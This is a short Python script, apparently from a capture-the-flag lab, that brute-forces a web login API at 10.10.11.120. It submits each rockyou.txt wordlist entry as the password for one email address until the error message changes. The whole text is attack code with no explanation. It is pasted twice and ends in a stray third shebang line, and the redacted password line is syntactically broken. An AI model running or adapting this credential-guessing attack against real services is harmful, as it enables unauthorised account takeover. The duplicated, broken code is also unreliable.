#!/usr/bin/python3

import requests
import fileinput

url = "http://10.10.11.120/api/user/login"

for line in fileinput.input("/usr/share/wordlists/rockyou.txt"):
    json = {"email":"<EMAIL>","password":line.<PASSWORD>")}
    r = requests.post(url, json=json)
    if r.text != "Password is wrong" and r.text != "\"password\" length must be at least 6 characters long":
        print("Password: {0}".format(line))
        break
#!/usr/bin/python3

import requests
import fileinput

url = "http://10.10.11.120/api/user/login"

for line in fileinput.input("/usr/share/wordlists/rockyou.txt"):
    json = {"email":"<EMAIL>","password":line.<PASSWORD>")}
    r = requests.post(url, json=json)
    if r.text != "Password is wrong" and r.text != "\"password\" length must be at least 6 characters long":
        print("Password: {0}".format(line))
        break
#!/usr/bin/python3